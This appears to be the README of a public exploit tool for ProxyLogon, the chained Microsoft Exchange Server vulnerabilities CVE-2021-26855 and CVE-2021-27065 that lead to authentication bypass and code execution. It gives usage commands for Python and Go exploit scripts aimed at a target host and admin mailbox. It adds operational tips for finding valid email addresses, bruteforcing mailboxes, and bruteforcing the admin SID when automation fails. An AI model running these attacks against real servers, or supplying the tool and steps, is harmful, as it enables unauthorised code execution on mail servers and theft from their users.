ProxyLogon

ProxyLogon is the formally generic name for CVE-2021-26855, a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin. We have also chained this bug with another post-auth arbitrary-file-write vulnerability, CVE-2021-27065, to get code execution.

ProxyLogon For Python3

usage:
    sudo python3 proxylogon.py --host=target.com --mail=admin@target.com
    sudo python3 proxylogon.py --host=target.com --mails=./mails.txt

ProxyLogon For Go

usage:
    go run proxylogon.go -u target.com -e admin@target.com

Tips:

1. recon target to find valid email address
2. if you do not find any email, use bruteforce target with your email file.
3. in some target automation exploit not work, you should bruteforce SID and replace in SID=500
